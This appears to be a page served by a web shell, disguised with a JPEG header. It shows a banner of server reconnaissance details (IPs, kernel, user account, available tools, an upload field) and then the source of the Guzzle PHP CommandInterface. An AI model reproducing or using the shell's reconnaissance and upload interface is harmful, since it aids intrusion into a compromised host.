����JFIF��x�x����'
Server IP : 78.140.185.180 / Your IP : 18.218.10.21 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/www/vendor/guzzle/guzzle/src/Guzzle/Service/Command/ |
Upload File : |
<?php namespace Guzzle\Service\Command; use Guzzle\Common\Collection; use Guzzle\Common\Exception\InvalidArgumentException; use Guzzle\Http\Message\Response; use Guzzle\Http\Message\RequestInterface; use Guzzle\Service\Exception\CommandException; use Guzzle\Service\Description\OperationInterface; use Guzzle\Service\ClientInterface; use Guzzle\Common\ToArrayInterface; /** * A command object that contains parameters that can be modified and accessed like an array and turned into an array */ interface CommandInterface extends \ArrayAccess, ToArrayInterface { /** * Get the short form name of the command * * @return string */ public function getName(); /** * Get the API operation information about the command * * @return OperationInterface */ public function getOperation(); /** * Execute the command and return the result * * @return mixed Returns the result of {@see CommandInterface::execute} * @throws CommandException if a client has not been associated with the command */ public function execute(); /** * Get the client object that will execute the command * * @return ClientInterface|null */ public function getClient(); /** * Set the client object that will execute the command * * @param ClientInterface $client The client object that will execute the command * * @return self */ public function setClient(ClientInterface $client); /** * Get the request object associated with the command * * @return RequestInterface * @throws CommandException if the command has not been executed */ public function getRequest(); /** * Get the response object associated with the command * * @return Response * @throws CommandException if the command has not been executed */ public function getResponse(); /** * Get the result of the command * * @return Response By default, commands return a Response object unless overridden in a subclass * @throws CommandException if the command has not been executed */ public function getResult(); /** * Set the result of the command * * @param mixed $result Result to set * * @return self */ public function setResult($result); /** * Returns TRUE if the command has been prepared for executing * * @return bool */ public function isPrepared(); /** * Returns TRUE if the command has been executed * * @return bool */ public function isExecuted(); /** * Prepare the command for executing and create a request object. * * @return RequestInterface Returns the generated request * @throws CommandException if a client object has not been set previously or in the prepare() */ public function prepare(); /** * Get the object that manages the request headers that will be set on any outbound requests from the command * * @return Collection */ public function getRequestHeaders(); /** * Specify a callable to execute when the command completes * * @param mixed $callable Callable to execute when the command completes. The callable must accept a * {@see CommandInterface} object as the only argument. * @return self * @throws InvalidArgumentException */ public function setOnComplete($callable); }